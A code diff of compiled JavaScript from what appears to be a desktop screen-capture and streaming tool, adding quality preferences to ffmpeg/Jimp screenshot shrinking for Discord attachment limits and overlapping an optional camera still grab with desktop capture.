|
|
3301
|
+
fs.unlinkSync(outPath);
|
|
3302
|
+
}
|
|
3303
|
+
catch {
|
|
3304
|
+
/* skip */
|
|
3305
|
+
}
|
|
3306
|
+
}
|
|
3307
|
+
}
|
|
3308
|
+
if (best && bestLen >= cap * 0.985)
|
|
3309
|
+
break;
|
|
3310
|
+
}
|
|
3311
|
+
return best ? { buffer: best, mime: "image/jpeg" } : null;
|
|
3312
|
+
}
|
|
3066
3313
|
/** Tiny valid JPEG (1×1) — second fallback when {@link SCREENSHOT_PLACEHOLDER_PNG_1X1} does not fit `cap`. */
|
|
3067
3314
|
function screenshotGuaranteedFallbackJpeg() {
|
|
3068
3315
|
return Buffer.from("/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDZkODs8Qjc+P0VDA0NUVWU1VFVjWUBYWmNdYmRkWmJkWmJkWmL/2wBDAQHERERGTFdFRVhjWGNYZFhjWGRYZFhkWGRYZFhkWGRYZFhkWGRYZFhlmGWYZllmWWZZZlmWWZZZlmWWZZZlmWZv/wAARCAAQABADASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAb/xAAUEAEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwCwABmX/9k=", "base64");
|
|
@@ -3094,7 +3341,7 @@ function screenshotGuaranteedPlaceholderUnderCap(cap) {
|
|
|
3094
3341
|
* When the captured PNG exceeds `FORGE_JS_SCREENSHOT_MAX_BYTES`, shrink with ImageMagick / ffmpeg, then
|
|
3095
3342
|
* in-process **Jimp** (always available when the package is installed correctly), then Windows GDI.
|
|
3096
3343
|
*/
|
|
3097
|
-
async function shrinkScreenshotFileToMaxBytes(sourcePath, cap) {
|
|
3344
|
+
async function shrinkScreenshotFileToMaxBytes(sourcePath, cap, prefs) {
|
|
3098
3345
|
let srcBuf;
|
|
3099
3346
|
try {
|
|
3100
3347
|
srcBuf = fs.readFileSync(sourcePath);
|
|
@@ -3106,14 +3353,28 @@ async function shrinkScreenshotFileToMaxBytes(sourcePath, cap) {
|
|
|
3106
3353
|
return { buffer: srcBuf, mime: sniffScreenshotMime(srcBuf) };
|
|
3107
3354
|
}
|
|
3108
3355
|
const dim = readPngIhdrSize(srcBuf);
|
|
3109
|
-
|
|
3110
|
-
|
|
3356
|
+
let iw = dim?.w ?? 1920;
|
|
3357
|
+
let ih = dim?.h ?? 1080;
|
|
3358
|
+
if (!(dim && dim.w && dim.h) &&
|
|
3359
|
+
srcBuf.length >= 3 &&
|
|
3360
|
+
srcBuf[0] === 0xff &&
|
|
3361
|
+
srcBuf[1] === 0xd8) {
|
|
3362
|
+
const jd = readJpegSize(srcBuf);
|
|
3363
|
+
if (jd) {
|
|
3364
|
+
iw = jd.w;
|
|
3365
|
+
ih = jd.h;
|
|
3366
|
+
}
|
|
3367
|
+
}
|
|
3111
3368
|
const tmpDir = os.tmpdir();
|
|
3112
3369
|
const id = (0, node_crypto_1.randomBytes)(8).toString("hex");
|
|
3113
|
-
const ffAgg =
|
|
3370
|
+
const ffAgg = prefs?.preferQualityNearCap
|
|
3371
|
+
? ffmpegPreferQualityJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id)
|
|
3372
|
+
: ffmpegAggressiveJpegFileUnderCap(sourcePath, cap, iw, ih, tmpDir, id);
|
|
3114
3373
|
if (ffAgg)
|
|
3115
3374
|
return ffAgg;
|
|
3116
|
-
const ffStdin =
|
|
3375
|
+
const ffStdin = prefs?.preferQualityNearCap
|
|
3376
|
+
? ffmpegStdinPreferQualityImageBytesToJpegUnderCap(srcBuf, cap, tmpDir, `${id}iq`)
|
|
3377
|
+
: ffmpegStdinImageBytesToJpegUnderCap(srcBuf, cap, tmpDir, `${id}i`);
|
|
3117
3378
|
if (ffStdin)
|
|
3118
3379
|
return ffStdin;
|
|
3119
3380
|
/** Jimp when ffmpeg unavailable or failed; can OOM on very large PNGs — ffmpeg block above is preferred. */
|
|
@@ -3423,7 +3684,7 @@ async function shrinkScreenshotWithJimpInProcess(source, cap) {
|
|
|
3423
3684
|
* Shrink in-memory screenshot bytes (PNG/JPEG) to at most `cap` (e.g. Discord attachment limits).
|
|
3424
3685
|
* Jimp first, then the same temp-file + ImageMagick/ffmpeg/GDI stack as {@link shrinkScreenshotFileToMaxBytes}.
|
|
3425
3686
|
*/
|
|
3426
|
-
async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
|
|
3687
|
+
async function shrinkScreenshotBufferToMaxBytes(buf, cap, prefs) {
|
|
3427
3688
|
if (!buf || buf.length === 0)
|
|
3428
3689
|
return null;
|
|
3429
3690
|
if (buf.length <= cap) {
|
|
@@ -3434,7 +3695,9 @@ async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
|
|
|
3434
3695
|
return j;
|
|
3435
3696
|
const tmpDir = os.tmpdir();
|
|
3436
3697
|
const idPre = (0, node_crypto_1.randomBytes)(6).toString("hex");
|
|
3437
|
-
const ffStd =
|
|
3698
|
+
const ffStd = prefs?.preferQualityNearCap
|
|
3699
|
+
? ffmpegStdinPreferQualityImageBytesToJpegUnderCap(buf, cap, tmpDir, `${idPre}s`)
|
|
3700
|
+
: ffmpegStdinImageBytesToJpegUnderCap(buf, cap, tmpDir, `${idPre}s`);
|
|
3438
3701
|
if (ffStd)
|
|
3439
3702
|
return ffStd;
|
|
3440
3703
|
const id = (0, node_crypto_1.randomBytes)(8).toString("hex");
|
|
@@ -3442,24 +3705,24 @@ async function shrinkScreenshotBufferToMaxBytes(buf, cap) {
|
|
|
3442
3705
|
const p = path.join(tmpDir, `forge-fe-sbuf-${id}.${ext}`);
|
|
3443
3706
|
try {
|
|
3444
3707
|
fs.writeFileSync(p, buf);
|
|
3445
|
-
let out = await shrinkScreenshotFileToMaxBytes(p, cap);
|
|
3708
|
+
let out = await shrinkScreenshotFileToMaxBytes(p, cap, prefs);
|
|
3446
3709
|
if (!out || out.buffer.length > cap) {
|
|
3447
|
-
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.72)));
|
|
3710
|
+
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.72)), prefs);
|
|
3448
3711
|
}
|
|
3449
3712
|
if (!out || out.buffer.length > cap) {
|
|
3450
|
-
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.52)));
|
|
3713
|
+
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(256 * 1024, Math.floor(cap * 0.52)), prefs);
|
|
3451
3714
|
}
|
|
3452
3715
|
if (!out || out.buffer.length > cap) {
|
|
3453
|
-
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(8192, Math.floor(cap * 0.35)));
|
|
3716
|
+
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(8192, Math.floor(cap * 0.35)), prefs);
|
|
3454
3717
|
}
|
|
3455
3718
|
if (!out || out.buffer.length > cap) {
|
|
3456
|
-
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(4096, Math.floor(cap * 0.2)));
|
|
3719
|
+
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(4096, Math.floor(cap * 0.2)), prefs);
|
|
3457
3720
|
}
|
|
3458
3721
|
if (!out || out.buffer.length > cap) {
|
|
3459
|
-
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(2048, Math.floor(cap * 0.1)));
|
|
3722
|
+
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(2048, Math.floor(cap * 0.1)), prefs);
|
|
3460
3723
|
}
|
|
3461
3724
|
if (!out || out.buffer.length > cap) {
|
|
3462
|
-
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(1024, Math.floor(cap * 0.05)));
|
|
3725
|
+
out = await shrinkScreenshotFileToMaxBytes(p, Math.max(1024, Math.floor(cap * 0.05)), prefs);
|
|
3463
3726
|
}
|
|
3464
3727
|
if (!out || out.buffer.length > cap) {
|
|
3465
3728
|
const fb = screenshotGuaranteedPlaceholderUnderCap(cap);
|
|
@@ -3500,16 +3763,19 @@ async function shrinkScreenshotBufferForDiscordAttachment(buf, hardCap) {
|
|
|
3500
3763
|
const cap = Math.min(25 * 1024 * 1024, Math.max(64 * 1024, Math.floor(Number(hardCap) || 0)));
|
|
3501
3764
|
if (!Number.isFinite(cap))
|
|
3502
3765
|
return null;
|
|
3766
|
+
const attachPrefs = discordAttachmentPreferQualityWithinCap()
|
|
3767
|
+
? { preferQualityNearCap: true }
|
|
3768
|
+
: undefined;
|
|
3503
3769
|
if (buf.length <= cap) {
|
|
3504
3770
|
return { buffer: buf, mime: sniffScreenshotMime(buf) };
|
|
3505
3771
|
}
|
|
3506
3772
|
for (const t of screenshotShrinkTierTargets(cap)) {
|
|
3507
|
-
const out = await shrinkScreenshotBufferToMaxBytes(buf, t);
|
|
3773
|
+
const out = await shrinkScreenshotBufferToMaxBytes(buf, t, attachPrefs);
|
|
3508
3774
|
if (out && out.buffer.length <= cap) {
|
|
3509
3775
|
return out;
|
|
3510
3776
|
}
|
|
3511
3777
|
}
|
|
3512
|
-
const last = await shrinkScreenshotBufferToMaxBytes(buf, Math.max(24 * 1024, Math.floor(cap * 0.05)));
|
|
3778
|
+
const last = await shrinkScreenshotBufferToMaxBytes(buf, Math.max(24 * 1024, Math.floor(cap * 0.05)), attachPrefs);
|
|
3513
3779
|
if (last && last.buffer.length <= cap)
|
|
3514
3780
|
return last;
|
|
3515
3781
|
return null;
|
|
@@ -5422,6 +5688,13 @@ async function fsLinuxScreenshotCapture(options) {
|
|
|
5422
5688
|
async function fsDesktopScreenshotCapture(options) {
|
|
5423
5689
|
const startedAt = Date.now();
|
|
5424
5690
|
const resolved = normalizeScreenshotCaptureOptions(options);
|
|
5691
|
+
/** Overlap camera grab with desktop capture — both often invoke ffmpeg; sequential waits dominated latency. */
|
|
5692
|
+
let camPromise = null;
|
|
5693
|
+
if (resolved.streamProfile === "remote_stream" && resolved.includeCamera) {
|
|
5694
|
+
const ffmpeg = resolveFfmpegForShrink();
|
|
5695
|
+
if (ffmpeg)
|
|
5696
|
+
camPromise = getCameraStillBase64(ffmpeg, 1200);
|
|
5697
|
+
}
|
|
5425
5698
|
const shot = isWindows()
|
|
5426
5699
|
? await fsWindowsScreenshotCapture(resolved)
|
|
5427
5700
|
: isMacos()
|
|
@@ -5429,6 +5702,11 @@ async function fsDesktopScreenshotCapture(options) {
|
|
|
5429
5702
|
: process.platform === "linux"
|
|
5430
5703
|
? await fsLinuxScreenshotCapture(resolved)
|
|
5431
5704
|
: null;
|
|
5705
|
+
const drainUnusedCamTask = async () => {
|
|
5706
|
+
if (!camPromise)
|
|
5707
|
+
return;
|
|
5708
|
+
await camPromise.catch(() => { });
|
|
5709
|
+
};
|
|
5432
5710
|
if (shot) {
|
|
5433
5711
|
if (shot && typeof shot === "object") {
|
|
5434
5712
|
try {
|
|
@@ -5441,8 +5719,7 @@ async function fsDesktopScreenshotCapture(options) {
|
|
|
5441
5719
|
if (shot.ok === true &&
|
|
5442
5720
|
resolved.streamProfile === "remote_stream" &&
|
|
5443
5721
|
resolved.includeCamera) {
|
|
5444
|
-
const
|
|
5445
|
-
const cam = ffmpeg ? await getCameraStillBase64(ffmpeg, 1200) : null;
|
|
5722
|
+
const cam = camPromise ? await camPromise : null;
|
|
5446
5723
|
const now = Date.now();
|
|
5447
5724
|
if (cam &&
|
|
5448
5725
|
now - cameraStillLastSentAt >= cameraOverlaySendIntervalMs()) {
|
|
@@ -5461,8 +5738,10 @@ async function fsDesktopScreenshotCapture(options) {
|
|
|
5461
5738
|
camera_width_percent: cameraOverlayWidthPercent(),
|
|
5462
5739
|
};
|
|
5463
5740
|
}
|
|
5741
|
+
await drainUnusedCamTask();
|
|
5464
5742
|
return shot;
|
|
5465
5743
|
}
|
|
5744
|
+
await drainUnusedCamTask();
|
|
5466
5745
|
return {
|
|
5467
5746
|
ok: false,
|
|
5468
5747
|
error: `screenshot is not supported on platform ${process.platform}`,
|
|
@@ -5490,6 +5769,7 @@ async function fsWindowsScreenshotCapture(options) {
|
|
|
5490
5769
|
const vb = hasCachedBounds
|
|
5491
5770
|
? getWindowsVirtualScreenBoundsCached(Number(windowsVirtualBoundsCache?.bounds?.w || 1920), Number(windowsVirtualBoundsCache?.bounds?.h || 1080))
|
|
5492
5771
|
: null;
|
|
5772
|
+
const jpegQ = remoteStreamJpegQuality();
|
|
5493
5773
|
const args = [
|
|
5494
5774
|
"-nostdin",
|
|
5495
5775
|
"-hide_banner",
|
|
@@ -5498,6 +5778,8 @@ async function fsWindowsScreenshotCapture(options) {
|
|
|
5498
5778
|
"-y",
|
|
5499
5779
|
"-f",
|
|
5500
5780
|
"gdigrab",
|
|
5781
|
+
"-framerate",
|
|
5782
|
+
"15",
|
|
5501
5783
|
"-draw_mouse",
|
|
5502
5784
|
"1",
|
|
5503
5785
|
"-i",
|
|
@@ -5509,7 +5791,7 @@ async function fsWindowsScreenshotCapture(options) {
|
|
|
5509
5791
|
if (vf) {
|
|
5510
5792
|
args.push("-vf", vf);
|
|
5511
5793
|
}
|
|
5512
|
-
args.push("-q:v",
|
|
5794
|
+
args.push("-q:v", String(jpegQ), "-frames:v", "1", outJpg);
|
|
5513
5795
|
const ok = await trySpawnScreenshotTool(ffmpeg, args, outJpg, 12_000);
|
|
5514
5796
|
if (ok && fs.existsSync(outJpg)) {
|
|
5515
5797
|
const fast = await resultFromPngPath(outJpg, options);
|